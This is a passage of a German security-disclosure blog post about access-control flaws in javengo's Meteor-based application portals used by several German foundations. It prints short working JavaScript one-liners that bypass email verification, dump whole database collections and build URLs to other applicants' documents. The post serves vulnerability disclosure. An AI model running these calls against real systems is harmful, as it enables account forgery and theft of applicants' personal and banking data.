Entwickelt wird das Portal von einer Firma namens &amp;ldquo;javengo&amp;rdquo;, die – wie es sich für ein extrem hippes Start-Up gehört – in einem WeWork sitzt. Javengo hat schon &amp;ldquo;Online Genussrechte Service&amp;quot;s und Gutschein-Management-Tools entwickelt. Und nun eben Bewerbungs-Software.&lt;/p&gt;
&lt;p&gt;Diese Software bauen sie aber nicht nur für eine Stiftung, sondern verkaufen sie als SaaS-Lösung gleich an eine ganze Reihe Institutionen: Stiftung der deutschen Wirtschaft, Rosa-Luxemburg-Stiftung, Children for a better World e.V. und Avicenna-Studienwerk.
Die folgenden Beschreibungen treffen also nicht nur auf eines dieser Bewerbungsportale zu, sondern gleich alle! 😱&lt;/p&gt;
&lt;p&gt;Und die zweite Frage war: Wie ist die Seite gebaut?
Wagen wir doch einen Blick in die Entwicklungs-Tools unseres Browsers.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/javengo/inspect.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/javengo/inspect.png&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Wir schauen uns ein wenig um und stellen fest:
Das Bewerbungsportal ist mit dem &lt;a href=&#34;https://www.meteor.com&#34;&gt;Meteor-Framework&lt;/a&gt; gebaut, ein JavaScript-Framework zur schnellen Webentwicklung.&lt;/p&gt;
&lt;h2 id=&#34;-meteor-wir-sind-doch-keine-dinos-&#34;&gt;☄️ Meteor?? Wir sind doch keine Dinos 🦖&lt;/h2&gt;
&lt;p&gt;Meteor verspricht, die Entwicklung von Webapps zu beschleunigen, indem es auf dem Server und im Browser die gleiche Codebase laufen lässt.
Um zwischen Webbrowser und Server zu kommunizieren, werden Funktionen definiert, die der Client auf dem Server aufrufen kann. Meteor nennt diese explizit &lt;a href=&#34;https://guide.meteor.com/methods.html&#34;&gt;&amp;ldquo;Methods&amp;rdquo; (das große M ist wichtig)&lt;/a&gt;, um sie von Funktionen abzugrenzen, die &lt;em&gt;nur&lt;/em&gt; auf dem Client oder &lt;em&gt;nur&lt;/em&gt; auf dem Server laufen würden.&lt;/p&gt;
&lt;p&gt;Möchte der Browser auf dem Server die Methode &lt;code&gt;MethodyMcMethodenface&lt;/code&gt;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; aufrufen und den Wert 1000 übergeben, würde folgender kurze Code reichen:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Meteor&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;call&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;MethodyMcMethodenface&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1000&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Das Konzept ist damit klar, für die Entwickler*innen ist es sicher praktisch - aber welche Methoden werden in diesem Bewerbungsportal überhaupt aufgerufen?&lt;/p&gt;
&lt;h2 id=&#34;vertrackte-e-mail-verifikation-&#34;&gt;Vertrackte E-Mail-Verifikation 📧&lt;/h2&gt;
&lt;p&gt;Die erste ist &lt;code&gt;setEmailVerifiedByToken&lt;/code&gt;, die zur Bestätigung der E-Mail-Adresse genutzt wird.&lt;/p&gt;
&lt;p&gt;Denn wie in den meisten Web-Portalen üblich, muss man bei der Registrierung eine E-Mail-Adresse angeben.
Und wie ebensfalls üblich, wird dann an diese E-Mail-Adresse ein Link gesendet, mit dem sich die Adresse bestätigen lässt.&lt;/p&gt;
&lt;p&gt;Die in der E-Mail verlinkte Seite ruft dann &lt;code&gt;setEmailVerifiedByToken&lt;/code&gt; mit einem speziellen Zugangscode (Token) auf, der in den Link einkodiert ist. Das heißt also, dass in der URL der Zugangscode steht und weil das ja ausschließlich über die E-Mail bekannt ist, kann man dadurch die E-Mail-Adresse verifizieren: Denn nur, wer die E-Mail bekommen hat, kennt die URL mit dem richtigen Token.&lt;/p&gt;
&lt;p&gt;Damit dieser Verifikationsprozess auch funktioniert, darf dieser Link nicht erratbar oder über andere Wege als diese E-Mail zugänglich werden.&lt;/p&gt;
&lt;p&gt;Doch betrachten wir den Netzwerkverkehr während des Registrierungsprozesses in den Entwicklungstools, fällt uns eine Antwort des Servers auf: Nachdem wir unseren Account registriert haben, sendet uns der Server das &lt;code&gt;users&lt;/code&gt;-Objekt zu, also alle Informationen die der Server über unseren Account hat.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;_id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;createdAt&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;$date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1630055000000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;services&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;bcrypt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;$2a$10$██████████████████████.██████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;verificationTokens&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;token&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text@example.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;when&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;$date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1630055000000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;resume&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;loginTokens&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;when&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;$date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1630055000000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;hashedToken&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;emails&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test@example.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;verified&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;profile&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;avatar&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/images/avatar.jpg&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lastLogin&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-08-██T██:██:██+02:00&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test@example.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;_searchable&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fullName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test@example.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Und darin steht, neben unserer E-Mail-Adresse und unserem (gehashten) Passwort, auch der Zugangscode für die E-Mail-Verifikation 🤦&lt;/p&gt;
&lt;p&gt;Aus diesem können wir den Bestätigungs-Link, der in der E-Mail steht, rekonstruieren und so den Account aktivieren.&lt;/p&gt;
&lt;p&gt;Das bedeutet nun aber auch: Wir können Accounts für beliebige E-Mail-Adressen anlegen – und ohne Zugriff auf diese sogar bestätigen.&lt;/p&gt;
&lt;p&gt;Die Ausgabe des E-Mail-Verifikationscodes lässt sich mit einem kleinen Stück JavaScript-Code automatisieren, das sogar kürzer als ein Tweet ist:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Meteor&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;call&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;setEmailVerifiedByToken&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;Meteor&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;user&lt;/span&gt;().&lt;span style=&#34;color:#a6e22e&#34;&gt;services&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;email&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;verificationTokens&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;token&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;console&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;video controls&gt;
	&lt;source src=&#34;https://zerforschung.org/p/javengo/email.mp4&#34; type=&#34;video/mp4&#34;&gt;
	&lt;source src=&#34;https://zerforschung.org/p/javengo/email.webm&#34; type=&#34;video/webm&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;gib-mir-deine-sammlung&#34;&gt;Gib mir deine Sammlung!&lt;/h2&gt;
&lt;p&gt;Dabei ist uns aber noch mehr aufgefallen: eine weitere Meteor-Methode namens &lt;code&gt;pagedQuery&lt;/code&gt;.
Mit dieser kann man direkte Anfragen an die serverseitig angeschlossene Datenbank (in diesem Fall eine MongoDB) stellen.&lt;/p&gt;
&lt;p&gt;In dieser Datenbank stehen alle im Portal gespeicherten Daten, der Zugriff darauf muss also streng geschützt werden.
Meteor empfiehlt, hier spezifische Methoden zu schreiben, welche die Zugangsberechtigungen prüfen und nur die wenigen, wirklich zum Abruf bestimmten Informationen bereitstellen.
Insbesondere wird darauf hingewiesen&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;, dass die Ein- und Ausgaben der Methoden gut kontrolliert werden müssen.&lt;/p&gt;
&lt;p&gt;Doch wurde dieser wichtige Security-Hinweis von den Programmier*innen beachtet?&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/javengo/finger.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/javengo/finger.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Nein, leider nicht 😞: &lt;code&gt;pagedQuery&lt;/code&gt; tut nichts davon.
Die normale Website fragt stets nur Daten an, auf die der aktuelle Account Zugriff haben darf.
Lässt man diese Filter jedoch weg, so erhält man keine Fehlermeldung, sondern einfach &lt;em&gt;alle&lt;/em&gt; Dokumente in der jeweiligen Collection&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Kennt man den Namen einer Collection, passt auch hier der Code, um diese Lücke auszunutzen wieder in einen Tweet:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Meteor&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;call&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;pagedQuery&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;COLLECTION_NAME&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;, {}, (&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;_&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;n&lt;/span&gt;) { &lt;span style=&#34;color:#a6e22e&#34;&gt;console&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;n&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;); }))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Und spannende Collections gibt es genug:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;in &lt;code&gt;Meteor.users&lt;/code&gt; werden die Accounts gespeichert, inklusive E-Mail-Adresse und Passwort-Hash&lt;/li&gt;
&lt;li&gt;in &lt;code&gt;PageObjects&lt;/code&gt; werden die Bewerbungen, Anträge etc. gespeichert. Inklusive aller dort gemachten Angaben, wie
&lt;ul&gt;
&lt;li&gt;Art des Stipendiums&lt;/li&gt;
&lt;li&gt;Universität, Studiengang&lt;/li&gt;
&lt;li&gt;Namen&lt;/li&gt;
&lt;li&gt;Telefonnummern&lt;/li&gt;
&lt;li&gt;Adressen (Sowohl E-Mail als auch Post 🐌)&lt;/li&gt;
&lt;li&gt;Bankdaten (IBAN, auf die das Stipendium überwiesen werden soll)&lt;/li&gt;
&lt;li&gt;Informationen über den Studien-/Promotionsverlauf&lt;/li&gt;
&lt;li&gt;Informationen über Jahresgespräche&lt;/li&gt;
&lt;li&gt;sämtliche weiteren im Rahmen des Bewerbungs- und Förderungsprozesses gemachten Angaben&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;in &lt;code&gt;S3Documents&lt;/code&gt; werden Metadaten und URLs zu den im Portal hochgeladenen Dokumenten (PDFs, Bilder) gespeichert&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;wir--amazon-server&#34;&gt;Wir 🤝 Amazon-Server&lt;/h2&gt;
&lt;p&gt;Gerade diese letzte Collection ist besonders interessant.
Das System von Javengo bietet &amp;ldquo;&lt;em&gt;sichere&lt;/em&gt;[sic!] Dokument-Uploads&amp;rdquo;&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;.
Über diese Funktion können alle Dokumente zu einem Antrag digital hochgeladen werden.
&amp;ldquo;Ersparen Sie sich und Ihren Bewerbern/Antragsstellern die Erstellung von Unterlagen in Papierform&amp;rdquo;&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;, wirbt das Unternehmen auf seiner Website.&lt;/p&gt;
&lt;p&gt;Die hochgeladenen Dokumente werden bei Amazon S3 gespeichert.
Doch um sie abzurufen, gibt es einen eigenen Endpoint auf dem Javengo-Server: &lt;code&gt;/documents/{ID}?hashedToken={TOKEN}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Man benötigt also die ID des Dokuments und einen Zugangscode (&lt;code&gt;TOKEN&lt;/code&gt;) namens &lt;code&gt;hashedToken&lt;/code&gt;.
Die ID steht in der Collection &lt;code&gt;S3Documents&lt;/code&gt; und den &lt;code&gt;hashedToken&lt;/code&gt; bekommen wir nach dem Login – er ist also account-spezifisch vergeben.
Somit weiß der Server, welcher Account gerade die Daten abruft und sollte den Zugriff nur bestimmten Personen erlauben.&lt;/p&gt;
&lt;p&gt;Doch bauen wir uns wieder einen tweetkompatiblen One-Liner, um das zu prüfen:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Meteor&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;call&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;pagedQuery&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;S3Documents&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;, {}, {&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;createdAt&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;}, (&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;_&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;n&lt;/span&gt;) { &lt;span style=&#34;color:#a6e22e&#34;&gt;console&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;n&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;map&lt;/span&gt;((&lt;span style=&#34;color:#a6e22e&#34;&gt;d&lt;/span&gt;) =&amp;gt; {&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;location&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;protocol&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;//&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;location&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;host&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;api&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;files&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;buildAuthURL&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;d&lt;/span&gt;)})); }))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dieser erzeugt eine Liste von URLs nach dem gerade beschriebenen Schema.
Klicken wir nun auf eine der URLs, sehen wir jedoch keine Fehlermeldung, sondern ein fremdes Schulzeugnis.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/javengo/akten.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/javengo/akten.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;die-daten-quillen-aus-allen-öffnungen&#34;&gt;Die Daten quillen aus allen Öffnungen&lt;/h2&gt;
&lt;p&gt;In den Daten aus der Collection steht nicht nur eine ID, mit der wir das Dokument über das Portal abrufen können.
Bei den meisten Dokumenten ist zusätzlich ein Direkt-Link zum Amazon S3-Speicher hinterlegt.
Üblicherweise ist dieser Direktzugriff nur dem Portal-Server erlaubt, alle anderen müssen &lt;a href=&#34;https://docs.aws.amazon.com/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html&#34;&gt;spezielle URLs&lt;/a&gt; benutzen, die nur vorrübergehend gültig sind.
Doch bei den Daten der Stiftung der deutschen Wirtschaft wurde diese grundlegende Sicherungsmaßnahme nicht getroffen.
Der in der Collection stehende Link lieferte in vielen Fällen die Dateien ohne Zugriffskontrolle an uns aus.&lt;/p&gt;
&lt;p&gt;Das heißt die Dateien waren über zwei verschiedene Wege abrufbar.&lt;/p&gt;
&lt;p&gt;Und beide Wege wären einfach vermeidbar gewesen: Das Portal selbst hätte eine Zugriffskontrolle für die Dateien implementieren müssen und auch Amazon S3 lässt sich so konfigurieren, dass direkte Zugriffe auf die Dateien unterbunden werden.&lt;/p&gt;
&lt;h2 id=&#34;all-your-data-are-belong-to-us&#34;&gt;All your data are belong to us&lt;/h2&gt;
&lt;p&gt;Über die 4 Portale von Stiftung der deutschen Wirtschaft, Children for a better World e.V., Rosa-Luxemburg-Stiftung und Avicenna-Studienwerk hinweg waren damit eine ganze Menge an Daten betroffen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;~350.000 Dokumente mit teils persönlichsten Daten (Immatrikulationsbescheinigungen, Empfehlungsschreiben, Zeugnisse, Ausweiskopien)&lt;/li&gt;
&lt;li&gt;~39.500 Bewerbungen und Anträge&lt;/li&gt;
&lt;li&gt;~53.500 Nutzer*innen-Accounts&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;objekte-in-der-datenbank-verändern&#34;&gt;Objekte in der Datenbank verändern&lt;/h2&gt;
